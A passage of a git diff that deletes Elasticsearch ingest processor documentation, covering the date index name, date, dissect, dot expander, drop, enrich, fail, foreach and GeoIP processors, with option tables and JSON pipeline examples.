-on a date or timestamp field in a document by using the <<date-math-index-names, date math index name support>>.
-
-The processor sets the `_index` metadata field with a date math index name expression based on the provided index name
-prefix, a date or timestamp field in the documents being processed and the provided date rounding.
-
-First, this processor fetches the date or timestamp from a field in the document being processed. Optionally,
-date formatting can be configured on how the field's value should be parsed into a date. Then this date,
-the provided index name prefix and the provided date rounding get formatted into a date math index name expression.
-Also here optionally date formatting can be specified on how the date should be formatted into a date math index name
-expression.
-
-An example pipeline that points documents to a monthly index that starts with a `my-index-` prefix based on a
-date in the `date1` field:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/monthlyindex
-{
-  "description": "monthly date-time index naming",
-  "processors" : [
-    {
-      "date_index_name" : {
-        "field" : "date1",
-        "index_name_prefix" : "my-index-",
-        "date_rounding" : "M"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-
-Using that pipeline for an index request:
-
-[source,console]
---------------------------------------------------
-PUT /my-index/_doc/1?pipeline=monthlyindex
-{
-  "date1" : "2016-04-25T12:02:01.789Z"
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index" : "my-index-2016-04-01",
-  "_type" : "_doc",
-  "_id" : "1",
-  "_version" : 1,
-  "result" : "created",
-  "_shards" : {
-    "total" : 2,
-    "successful" : 1,
-    "failed" : 0
-  },
-  "_seq_no" : 55,
-  "_primary_term" : 1
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no" : \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-The above request will not index this document into the `my-index` index, but into the `my-index-2016-04-01` index because
-it was rounded by month. This is because the date-index-name-processor overrides the `_index` property of the document.
-
-To see the date-math value of the index supplied in the actual index request which resulted in the above document being
-indexed into `my-index-2016-04-01` we can inspect the effects of the processor using a simulate request.
-
-
-[source,console]
---------------------------------------------------
-POST _ingest/pipeline/_simulate
-{
-  "pipeline" :
-  {
-    "description": "monthly date-time index naming",
-    "processors" : [
-      {
-        "date_index_name" : {
-          "field" : "date1",
-          "index_name_prefix" : "my-index-",
-          "date_rounding" : "M"
-        }
-      }
-    ]
-  },
-  "docs": [
-    {
-      "_source": {
-        "date1": "2016-04-25T12:02:01.789Z"
-      }
-    }
-  ]
-}
---------------------------------------------------
-
-and the result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "docs" : [
-    {
-      "doc" : {
-        "_id" : "_id",
-        "_index" : "<my-index-{2016-04-25||/M{yyyy-MM-dd|UTC}}>",
-        "_type" : "_doc",
-        "_source" : {
-          "date1" : "2016-04-25T12:02:01.789Z"
-        },
-        "_ingest" : {
-          "timestamp" : "2016-11-08T19:43:03.850+0000"
-        }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/2016-11-08T19:43:03.850\+0000/$body.docs.0.doc._ingest.timestamp/]
-
-The above example shows that `_index` was set to `<my-index-{2016-04-25||/M{yyyy-MM-dd|UTC}}>`. Elasticsearch
-understands this to mean `2016-04-01` as is explained in the <<date-math-index-names, date math index name documentation>>
-
-[[date-index-name-options]]
-.Date index name options
-[options="header"]
-|======
-| Name                   | Required  | Default                      | Description
-| `field`                | yes       | -                            | The field to get the date or timestamp from.
-| `index_name_prefix`    | no        | -                            | A prefix of the index name to be prepended before the printed date. Supports <<accessing-template-fields,template snippets>>.
-| `date_rounding`        | yes       | -                            | How to round the date when formatting the date into the index name. Valid values are: `y` (year), `M` (month), `w` (week), `d` (day), `h` (hour), `m` (minute) and `s` (second). Supports <<accessing-template-fields,template snippets>>.
-| `date_formats`         | no        | yyyy-MM-dd+++'T'+++HH:mm:ss.SSSXX  | An array of the expected date formats for parsing dates / timestamps in the document being preprocessed. Can be a java time pattern or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N.
-| `timezone`             | no        | UTC                          | The timezone to use when parsing the date and when date math index supports resolves expressions into concrete index names.
-| `locale`               | no        | ENGLISH                      | The locale to use when parsing the date from the document being preprocessed, relevant when parsing month names or week days.
-| `index_name_format`    | no        | yyyy-MM-dd                   | The format to be used when printing the parsed date into the index name. A valid java time pattern is expected here. Supports <<accessing-template-fields,template snippets>>.
-include::common-options.asciidoc[]
-|======
diff --git a/docs/reference/ingest/processors/date.asciidoc b/docs/reference/ingest/processors/date.asciidoc
deleted file mode 100644
index ae05afa422c..00000000000
--- a/docs/reference/ingest/processors/date.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[date-processor]]
-=== Date processor
-++++
-<titleabbrev>Date</titleabbrev>
-++++
-
-Parses dates from fields, and then uses the date or timestamp as the timestamp for the document.
-By default, the date processor adds the parsed date as a new field called `@timestamp`. You can specify a
-different field by setting the `target_field` configuration parameter. Multiple date formats are supported
-as part of the same date processor definition. They will be used sequentially to attempt parsing the date field,
-in the same order they were defined as part of the processor definition.
-
-[[date-options]]
-.Date options
-[options="header"]
-|======
-| Name                   | Required  | Default             | Description
-| `field`                | yes       | -                   | The field to get the date from.
-| `target_field`         | no        | @timestamp          | The field that will hold the parsed date.
-| `formats`              | yes       | -                   | An array of the expected date formats. Can be a <<mapping-date-format,java time pattern>> or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N.
-| `timezone`             | no        | UTC                 | The timezone to use when parsing the date. Supports <<accessing-template-fields,template snippets>>.
-| `locale`               | no        | ENGLISH             | The locale to use when parsing the date, relevant when parsing month names or week days. Supports <<accessing-template-fields,template snippets>>.
-| `output_format`        | no        | `yyyy-MM-dd'T'HH:mm:ss.SSSXXX` | The format to use when writing the date to `target_field`. Can be a <<mapping-date-format,java time pattern>> or one of the following formats: ISO8601, UNIX, UNIX_MS, or TAI64N.
-include::common-options.asciidoc[]
-|======
-
-Here is an example that adds the parsed date to the `timestamp` field based on the `initial_date` field:
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "...",
-  "processors" : [
-    {
-      "date" : {
-        "field" : "initial_date",
-        "target_field" : "timestamp",
-        "formats" : ["dd/MM/yyyy HH:mm:ss"],
-        "timezone" : "Europe/Amsterdam"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The `timezone` and `locale` processor parameters are templated. This means that their values can be
-extracted from fields within documents. The example below shows how to extract the locale/timezone
-details from existing fields, `my_timezone` and `my_locale`, in the ingested document that contain
-the timezone and locale values.
-
-[source,js]
---------------------------------------------------
-{
-  "description" : "...",
-  "processors" : [
-    {
-      "date" : {
-        "field" : "initial_date",
-        "target_field" : "timestamp",
-        "formats" : ["ISO8601"],
-        "timezone" : "{{my_timezone}}",
-        "locale" : "{{my_locale}}"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/dissect.asciidoc b/docs/reference/ingest/processors/dissect.asciidoc
deleted file mode 100644
index b7c5fbaf952..00000000000
--- a/docs/reference/ingest/processors/dissect.asciidoc
+++ /dev/null
@@ -1,201 +0,0 @@
-[[dissect-processor]]
-=== Dissect processor
-++++
-<titleabbrev>Dissect</titleabbrev>
-++++
-
-
-Similar to the <<grok-processor,Grok Processor>>, dissect also extracts structured fields out of a single text field
-within a document.  However unlike the <<grok-processor,Grok Processor>>, dissect does not use
-{wikipedia}/Regular_expression[Regular Expressions]. This allows dissect's syntax to be simple and for
-some cases faster than the <<grok-processor,Grok Processor>>.
-
-Dissect matches a single text field against a defined pattern.
-
-For example the following pattern:
-[source,txt]
---------------------------------------------------
-%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{status} %{size}
---------------------------------------------------
-will match a log line of this format:
-[source,txt]
---------------------------------------------------
-1.2.3.4 - - [30/Apr/1998:22:00:52 +0000] \"GET /english/venues/cities/images/montpellier/18.gif HTTP/1.0\" 200 3171
---------------------------------------------------
-and result in a document with the following fields:
-[source,js]
---------------------------------------------------
-"doc": {
-  "_index": "_index",
-  "_type": "_type",
-  "_id": "_id",
-  "_source": {
-    "request": "/english/venues/cities/images/montpellier/18.gif",
-    "auth": "-",
-    "ident": "-",
-    "verb": "GET",
-    "@timestamp": "30/Apr/1998:22:00:52 +0000",
-    "size": "3171",
-    "clientip": "1.2.3.4",
-    "httpversion": "1.0",
-    "status": "200"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-A dissect pattern is defined by the parts of the string that will be discarded. In the example above the first part
-to be discarded is a single space. Dissect finds this space, then assigns the value of `clientip` is everything up
-until that space.
-Later dissect matches the `[` and then `]` and then assigns `@timestamp` to everything in-between `[` and `]`.
-Paying special attention the parts of the string to discard will help build successful dissect patterns.
-
-Successful matches require all keys in a pattern to have a value. If any of the `%{keyname}` defined in the pattern do
-not have a value, then an exception is thrown and may be handled by the <<handling-failure-in-pipelines,on_failure>> directive.
-An empty key `%{}` or a <<dissect-modifier-named-skip-key, named skip key>> can be used to match values, but exclude the value from
-the final document. All matched values are represented as string data types. The <<convert-processor, convert processor>>
-may be used to convert to expected data type.
-
-Dissect also supports <<dissect-key-modifiers,key modifiers>> that can change dissect's default
-behavior. For example you can instruct dissect to ignore certain fields, append fields, skip over padding, etc.
-See <<dissect-key-modifiers, below>> for more information.
-
-[[dissect-options]]
-.Dissect Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-| `field`           | yes       | -        | The field to dissect
-| `pattern`         | yes       | -        | The pattern to apply to the field
-| `append_separator`| no        | "" (empty string) | The character(s) that separate the appended fields.
-| `ignore_missing`  | no        | false             | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "dissect": {
-    "field": "message",
-    "pattern" : "%{clientip} %{ident} %{auth} [%{@timestamp}] \"%{verb} %{request} HTTP/%{httpversion}\" %{status} %{size}"
-   }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[dissect-key-modifiers]]
-==== Dissect key modifiers
-Key modifiers can change the default behavior for dissection. Key modifiers may be found on the left or right
-of the `%{keyname}` always inside the `%{` and `}`. For example `%{+keyname ->}` has the append and right padding
-modifiers.
-
-[[dissect-key-modifiers-table]]
-.Dissect Key Modifiers
-[options="header"]
-|======
-| Modifier      | Name               | Position       | Example                      | Description                                                  | Details
-| `->`          | Skip right padding | (far) right    | `%{keyname1->}`  | Skips any repeated characters to the right                   | <<dissect-modifier-skip-right-padding,link>>
-| `+`           | Append             | left           | `%{+keyname} %{+keyname}`    | Appends two or more fields together                          | <<dissect-modifier-append-key,link>>
-| `+` with `/n` | Append with order  | left and right | `%{+keyname/2} %{+keyname/1}` | Appends two or more fields together in the order specified   | <<dissect-modifier-append-key-with-order,link>>
-| `?`           | Named skip key     | left           | `%{?ignoreme}`  | Skips the matched value in the output. Same behavior as `%{}`| <<dissect-modifier-named-skip-key,link>>
-| `*` and `&`   | Reference keys     | left           | `%{*r1} %{&r1}`    | Sets the output key as value of `*` and output value of `&`  | <<dissect-modifier-reference-keys,link>>
-|======
-
-[[dissect-modifier-skip-right-padding]]
-===== Right padding modifier (`->`)
-
-The algorithm that performs the dissection is very strict in that it requires all characters in the pattern to match
-the source string. For example, the pattern `%{fookey} %{barkey}` (1 space), will match the string "foo{nbsp}bar"
-(1 space), but will not match the string "foo{nbsp}{nbsp}bar" (2 spaces) since the pattern has only 1 space and the
-source string has 2 spaces.
-
-The right padding modifier helps with this case. Adding the right padding modifier to the pattern `%{fookey->} %{barkey}`,
-It will now will match "foo{nbsp}bar" (1 space) and "foo{nbsp}{nbsp}bar" (2 spaces)
-and even "foo{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}bar" (10 spaces).
-
-Use the right padding modifier to allow for repetition of the characters after a `%{keyname->}`.
-
-The right padding modifier may be placed on any key with any other modifiers. It should always be the furthest right
-modifier. For example: `%{+keyname/1->}` and `%{->}`
-
-Right padding modifier example
-|======
-| *Pattern* | `%{ts->} %{level}`
-| *Input*   |  1998-08-10T17:15:42,466{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}WARN
-| *Result*  a|
-* ts = 1998-08-10T17:15:42,466
-* level = WARN
-|======
-
-The right padding modifier may be used with an empty key to help skip unwanted data. For example, the same input string, but wrapped with brackets requires the use of an empty right padded key to achieve the same result.
-
-Right padding modifier with empty key example
-|======
-| *Pattern* | `[%{ts}]%{->}[%{level}]`
-| *Input*   | [1998-08-10T17:15:42,466]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}[WARN]
-| *Result*  a|
-* ts = 1998-08-10T17:15:42,466
-* level = WARN
-|======
-
-[[append-modifier]]
-===== Append modifier (`+`)
-[[dissect-modifier-append-key]]
-Dissect supports appending two or more results together for the output.
-Values are appended left to right. An append separator can be specified.
-In this example the append_separator is defined as a space.
-
-Append modifier example
-|======
-| *Pattern* | `%{+name} %{+name} %{+name} %{+name}`
-| *Input*   | john jacob jingleheimer schmidt
-| *Result*  a|
-* name = john jacob jingleheimer schmidt
-|======
-
-[[append-order-modifier]]
-===== Append with order modifier (`+` and `/n`)
-[[dissect-modifier-append-key-with-order]]
-Dissect supports appending two or more results together for the output.
-Values are appended based on the order defined (`/n`). An append separator can be specified.
-In this example the append_separator is defined as a comma.
-
-Append with order modifier example
-|======
-| *Pattern* | `%{+name/2} %{+name/4} %{+name/3} %{+name/1}`
-| *Input*   | john jacob jingleheimer schmidt
-| *Result*  a|
-* name = schmidt,john,jingleheimer,jacob
-|======
-
-[[named-skip-key]]
-===== Named skip key (`?`)
-[[dissect-modifier-named-skip-key]]
-Dissect supports ignoring matches in the final result. This can be done with an empty key `%{}`, but for readability
-it may be desired to give that empty key a name.
-
-Named skip key modifier example
-|======
-| *Pattern* | `%{clientip} %{?ident} %{?auth} [%{@timestamp}]`
-| *Input*   | 1.2.3.4 - - [30/Apr/1998:22:00:52 +0000]
-| *Result*  a|
-* clientip = 1.2.3.4
-* @timestamp = 30/Apr/1998:22:00:52 +0000
-|======
-
-[[reference-keys]]
-===== Reference keys (`*` and `&`)
-[[dissect-modifier-reference-keys]]
-Dissect support using parsed values as the key/value pairings for the structured content. Imagine a system that
-partially logs in key/value pairs. Reference keys allow you to maintain that key/value relationship.
-
-Reference key modifier example
-|======
-| *Pattern* | `[%{ts}] [%{level}] %{*p1}:%{&p1} %{*p2}:%{&p2}`
-| *Input*   | [2018-08-10T17:15:42,466] [ERR] ip:1.2.3.4 error:REFUSED
-| *Result*  a|
-* ts = 1998-08-10T17:15:42,466
-* level = ERR
-* ip = 1.2.3.4
-* error = REFUSED
-|======
diff --git a/docs/reference/ingest/processors/dot-expand.asciidoc b/docs/reference/ingest/processors/dot-expand.asciidoc
deleted file mode 100644
index 13cc6e72145..00000000000
--- a/docs/reference/ingest/processors/dot-expand.asciidoc
+++ /dev/null
@@ -1,122 +0,0 @@
-[[dot-expand-processor]]
-=== Dot expander processor
-++++
-<titleabbrev>Dot expander</titleabbrev>
-++++
-
-Expands a field with dots into an object field. This processor allows fields
-with dots in the name to be accessible by other processors in the pipeline.
-Otherwise these <<accessing-data-in-pipelines,fields>> can't be accessed by any processor.
-
-[[dot-expander-options]]
-.Dot Expand Options
-[options="header"]
-|======
-| Name     | Required  | Default  | Description
-| `field`  | yes       | -        | The field to expand into an object field
-| `path`   | no        | -        | The field that contains the field to expand. Only required if the field to expand is part another object field, because the `field` option can only understand leaf fields.
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "dot_expander": {
-    "field": "foo.bar"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-For example the dot expand processor would turn this document:
-
-[source,js]
---------------------------------------------------
-{
-  "foo.bar" : "value"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-into:
-
-[source,js]
---------------------------------------------------
-{
-  "foo" : {
-    "bar" : "value"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If there is already a `bar` field nested under `foo` then
-this processor merges the `foo.bar` field into it. If the field is
-a scalar value then it will turn that field into an array field.
-
-For example, the following document:
-
-[source,js]
---------------------------------------------------
-{
-  "foo.bar" : "value2",
-  "foo" : {
-    "bar" : "value1"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-is transformed by the `dot_expander` processor into:
-
-[source,js]
---------------------------------------------------
-{
-  "foo" : {
-    "bar" : ["value1", "value2"]
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If any field outside of the leaf field conflicts with a pre-existing field of the same name,
-then that field needs to be renamed first.
-
-Consider the following document:
-
-[source,js]
---------------------------------------------------
-{
-  "foo": "value1",
-  "foo.bar": "value2"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Then the `foo` needs to be renamed first before the `dot_expander`
-processor is applied. So in order for the `foo.bar` field to properly
-be expanded into the `bar` field under the `foo` field the following
-pipeline should be used:
-
-[source,js]
---------------------------------------------------
-{
-  "processors" : [
-    {
-      "rename" : {
-        "field" : "foo",
-        "target_field" : "foo.bar""
-      }
-    },
-    {
-      "dot_expander": {
-        "field": "foo.bar"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The reason for this is that Ingest doesn't know how to automatically cast
-a scalar field to an object field.
diff --git a/docs/reference/ingest/processors/drop.asciidoc b/docs/reference/ingest/processors/drop.asciidoc
deleted file mode 100644
index 18d9d311ac0..00000000000
--- a/docs/reference/ingest/processors/drop.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[[drop-processor]]
-=== Drop processor
-++++
-<titleabbrev>Drop</titleabbrev>
-++++
-
-Drops the document without raising any errors. This is useful to prevent the document from
-getting indexed based on some condition.
-
-[[drop-options]]
-.Drop Options
-[options="header"]
-|======
-| Name              | Required  | Default  | Description
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "drop": {
-    "if" : "ctx.network_name == 'Guest'"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/enrich.asciidoc b/docs/reference/ingest/processors/enrich.asciidoc
deleted file mode 100644
index 26fb2f1769c..00000000000
--- a/docs/reference/ingest/processors/enrich.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[enrich-processor]]
-=== Enrich processor
-++++
-<titleabbrev>Enrich</titleabbrev>
-++++
-
-The `enrich` processor can enrich documents with data from another index.
-See <<ingest-enriching-data,enrich data>> section for more information about how to set this up.
-
-[[enrich-options]]
-.Enrich Options
-[options="header"]
-|======
-| Name               | Required  | Default              | Description
-| `policy_name`      | yes       | -                    | The name of the enrich policy to use.
-| `field`            | yes       | -                    | The field in the input document that matches the policies match_field used to retrieve the enrichment data. Supports <<accessing-template-fields,template snippets>>.
-| `target_field`     | yes       | -                    | Field added to incoming documents to contain enrich data. This field contains both the `match_field` and `enrich_fields` specified in the <<enrich-policy-definition,enrich policy>>. Supports <<accessing-template-fields,template snippets>>.
-| `ignore_missing`   | no        | false                | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `override`         | no        | true                 | If processor will update fields with pre-existing non-null-valued field. When set to `false`, such fields will not be touched.
-| `max_matches`      | no        | 1                    | The maximum number of matched documents to include under the configured target field. The `target_field` will be turned into a json array if `max_matches` is higher than 1, otherwise `target_field` will become a json object. In order to avoid documents getting too large, the maximum allowed value is 128.
-| `shape_relation`   | no        | `INTERSECTS`         | A spatial relation operator used to match the <<geo-shape,geo_shape>> of incoming documents to documents in the enrich index. This option is only used for `geo_match` enrich policy types. The <<spatial-strategy, geo_shape strategy>> mapping parameter determines which spatial relation operators are available. See <<_spatial_relations>> for operators and more information.
-
-include::common-options.asciidoc[]
-|======
diff --git a/docs/reference/ingest/processors/fail.asciidoc b/docs/reference/ingest/processors/fail.asciidoc
deleted file mode 100644
index 4446b941db3..00000000000
--- a/docs/reference/ingest/processors/fail.asciidoc
+++ /dev/null
@@ -1,29 +0,0 @@
-[[fail-processor]]
-=== Fail processor
-++++
-<titleabbrev>Fail</titleabbrev>
-++++
-
-Raises an exception. This is useful for when
-you expect a pipeline to fail and want to relay a specific message
-to the requester.
-
-[[fail-options]]
-.Fail Options
-[options="header"]
-|======
-| Name       | Required  | Default  | Description
-| `message`  | yes       | -        | The error message thrown by the processor. Supports <<accessing-template-fields,template snippets>>.
-include::common-options.asciidoc[]
-|======
-
-[source,js]
---------------------------------------------------
-{
-  "fail": {
-    "if" : "ctx.tags.contains('production') != true",
-    "message": "The production tag is not present, found tags: {{tags}}"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/ingest/processors/foreach.asciidoc b/docs/reference/ingest/processors/foreach.asciidoc
deleted file mode 100644
index 7a8c29ff24a..00000000000
--- a/docs/reference/ingest/processors/foreach.asciidoc
+++ /dev/null
@@ -1,163 +0,0 @@
-[[foreach-processor]]
-=== Foreach processor
-++++
-<titleabbrev>Foreach</titleabbrev>
-++++
-
-Processes elements in an array of unknown length.
-
-All processors can operate on elements inside an array, but if all elements of an array need to
-be processed in the same way, defining a processor for each element becomes cumbersome and tricky
-because it is likely that the number of elements in an array is unknown. For this reason the `foreach`
-processor exists. By specifying the field holding array elements and a processor that
-defines what should happen to each element, array fields can easily be preprocessed.
-
-A processor inside the foreach processor works in the array element context and puts that in the ingest metadata
-under the `_ingest._value` key. If the array element is a json object it holds all immediate fields of that json object.
-and if the nested object is a value is `_ingest._value` just holds that value. Note that if a processor prior to the
-`foreach` processor used `_ingest._value` key then the specified value will not be available to the processor inside
-the `foreach` processor. The `foreach` processor does restore the original value, so that value is available to processors
-after the `foreach` processor.
-
-Note that any other field from the document are accessible and modifiable like with all other processors. This processor
-just puts the current array element being read into `_ingest._value` ingest metadata attribute, so that it may be
-pre-processed.
-
-If the `foreach` processor fails to process an element inside the array, and no `on_failure` processor has been specified,
-then it aborts the execution and leaves the array unmodified.
-
-[[foreach-options]]
-.Foreach Options
-[options="header"]
-|======
-| Name             | Required  | Default  | Description
-| `field`          | yes       | -        | The array field
-| `processor`      | yes       | -        | The processor to execute against each field
-| `ignore_missing` | no        | false    | If `true` and `field` does not exist or is `null`, the processor quietly exits without modifying the document
-include::common-options.asciidoc[]
-|======
-
-Assume the following document:
-
-[source,js]
---------------------------------------------------
-{
-  "values" : ["foo", "bar", "baz"]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-When this `foreach` processor operates on this sample document:
-
-[source,js]
---------------------------------------------------
-{
-  "foreach" : {
-    "field" : "values",
-    "processor" : {
-      "uppercase" : {
-        "field" : "_ingest._value"
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Then the document will look like this after preprocessing:
-
-[source,js]
---------------------------------------------------
-{
-  "values" : ["FOO", "BAR", "BAZ"]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Let's take a look at another example:
-
-[source,js]
---------------------------------------------------
-{
-  "persons" : [
-    {
-      "id" : "1",
-      "name" : "John Doe"
-    },
-    {
-      "id" : "2",
-      "name" : "Jane Doe"
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-In this case, the `id` field needs to be removed,
-so the following `foreach` processor is used:
-
-[source,js]
---------------------------------------------------
-{
-  "foreach" : {
-    "field" : "persons",
-    "processor" : {
-      "remove" : {
-        "field" : "_ingest._value.id"
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-After preprocessing the result is:
-
-[source,js]
---------------------------------------------------
-{
-  "persons" : [
-    {
-      "name" : "John Doe"
-    },
-    {
-      "name" : "Jane Doe"
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The wrapped processor can have a `on_failure` definition.
-For example, the `id` field may not exist on all person objects.
-Instead of failing the index request, you can use an `on_failure`
-block to send the document to the 'failure_index' index for later inspection:
-
-[source,js]
---------------------------------------------------
-{
-  "foreach" : {
-    "field" : "persons",
-    "processor" : {
-      "remove" : {
-        "field" : "_value.id",
-        "on_failure" : [
-          {
-            "set" : {
-              "field": "_index",
-              "value": "failure_index"
-            }
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-In this example, if the `remove` processor does fail, then
-the array elements that have been processed thus far will
-be updated.
-
-Another advanced example can be found in the {plugins}/ingest-attachment-with-arrays.html[attachment processor documentation].
diff --git a/docs/reference/ingest/processors/geoip.asciidoc b/docs/reference/ingest/processors/geoip.asciidoc
deleted file mode 100644
index 92ed0a09dc7..00000000000
--- a/docs/reference/ingest/processors/geoip.asciidoc
+++ /dev/null
@@ -1,316 +0,0 @@
-[[geoip-processor]]
-=== GeoIP processor
-++++
-<titleabbrev>GeoIP</titleabbrev>
-++++
-
-The `geoip` processor adds information about the geographical location of IP addresses, based on data from the Maxmind databases.
-This processor adds this information by default under the `geoip` field. The `geoip` processor can resolve both IPv4 and
-IPv6 addresses.
-
-The `ingest-geoip` module ships by default with the GeoLite2 City, GeoLite2 Country and GeoLite2 ASN GeoIP2 databases from Maxmind made available
-under the CCA-ShareAlike 4.0 license. For more details see, http://dev.maxmind.com/geoip/geoip2/geolite2/
-
-The `geoip` processor can run with other city, country and ASN GeoIP2 databases
-from Maxmind. The database files must be copied into the `ingest-geoip` config
-directory located at `$ES_CONFIG/ingest-geoip`. Custom database files must be
-stored uncompressed and the extension must be `-City.mmdb`, `-Country.mmdb`, or
-`-ASN.mmdb` to indicate the type of the database. These database files can not
-have the same filename as any of the built-in database names. The
-`database_file` processor option is used to specify the filename of the custom
-database to use for the processor.
-
-[[using-ingest-geoip]]
-==== Using the `geoip` Processor in a Pipeline
-
-[[ingest-geoip-options]]
-.`geoip` options
-[options="header"]
-|======
-| Name                   | Required  | Default                                                                            | Description
-| `field`                | yes       | -                                                                                  | The field to get the ip address from for the geographical lookup.
-| `target_field`         | no        | geoip                                                                              | The field that will hold the geographical information looked up from the Maxmind database.
-| `database_file`        | no        | GeoLite2-City.mmdb                                                                 | The database filename referring to a database the module ships with (GeoLite2-City.mmdb, GeoLite2-Country.mmdb, or GeoLite2-ASN.mmdb) or a custom database in the `ingest-geoip` config directory.
-| `properties`           | no        | [`continent_name`, `country_iso_code`, `country_name`, `region_iso_code`, `region_name`, `city_name`, `location`] *   | Controls what properties are added to the `target_field` based on the geoip lookup.
-| `ignore_missing`       | no        | `false`                                                                            | If `true` and `field` does not exist, the processor quietly exits without modifying the document
-| `first_only`           | no        | `true`                                                                             | If `true` only first found geoip data will be returned, even if `field` contains array
-|======
-
-*Depends on what is available in `database_file`:
-
-* If the GeoLite2 City database is used, then the following fields may be added under the `target_field`: `ip`,
-`country_iso_code`, `country_name`, `continent_name`, `region_iso_code`, `region_name`, `city_name`, `timezone`, `latitude`, `longitude`
-and `location`. The fields actually added depend on what has been found and which properties were configured in `properties`.
-* If the GeoLite2 Country database is used, then the following fields may be added under the `target_field`: `ip`,
-`country_iso_code`, `country_name` and `continent_name`. The fields actually added depend on what has been found and which properties
-were configured in `properties`.
-* If the GeoLite2 ASN database is used, then the following fields may be added under the `target_field`: `ip`,
-`asn`, `organization_name` and `network`. The fields actually added depend on what has been found and which properties were configured
-in `properties`.
-
-
-Here is an example that uses the default city database and adds the geographical information to the `geoip` field based on the `ip` field:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/geoip
-{
-  "description" : "Add geoip info",
-  "processors" : [
-    {
-      "geoip" : {
-        "field" : "ip"
-      }
-    }
-  ]
-}
-PUT my-index-00001/_doc/my_id?pipeline=geoip
-{
-  "ip": "8.8.8.8"
-}
-GET my-index-00001/_doc/my_id
---------------------------------------------------
-
-Which returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "my-index-00001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 55,
-  "_primary_term": 1,
-  "_source": {
-    "ip": "8.8.8.8",
-    "geoip": {
-      "continent_name": "North America",
-      "country_name": "United States",
-      "country_iso_code": "US",
-      "location": { "lat": 37.751, "lon": -97.822 }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term":1/"_primary_term" : $body._primary_term/]
-
-Here is an example that uses the default country database and adds the
-geographical information to the `geo` field based on the `ip` field. Note that
-this database is included in the module. So this:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/geoip
-{
-  "description" : "Add geoip info",
-  "processors" : [
-    {
-      "geoip" : {
-        "field" : "ip",
-        "target_field" : "geo",
-        "database_file" : "GeoLite2-Country.mmdb"
-      }
-    }
-  ]
-}
-PUT my-index-00001/_doc/my_id?pipeline=geoip
-{
-  "ip": "8.8.8.8"
-}
-GET my-index-00001/_doc/my_id
---------------------------------------------------
-
-returns this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "found": true,
-  "_index": "my-index-00001",
-  "_type": "_doc",
-  "_id": "my_id",
-  "_version": 1,
-  "_seq_no": 65,
-  "_primary_term": 1,
-  "_source": {
-    "ip": "8.8.8.8",
-    "geo": {
-      "continent_name": "North America",
-      "country_name": "United States",
-      "country_iso_code": "US",
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_seq_no": \d+/"_seq_no" : $body._seq_no/ s/"_primary_term" : 1/"_primary_term" : $body._primary_term/]
-
-
-Not all IP addresses find geo information from the database, When this
-occurs, no `target_field` is inserted into the document.
-
-Here is an example of what documents will be indexed as when information for "80.231.5.0"
-cannot be found:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/geoip
-{
-  "description" : "Add geoip info",
-  "processors" : [
-    {
-      "geoip" : {
-        "field" : "ip"
-      }
-    }
-  ]
-}
-
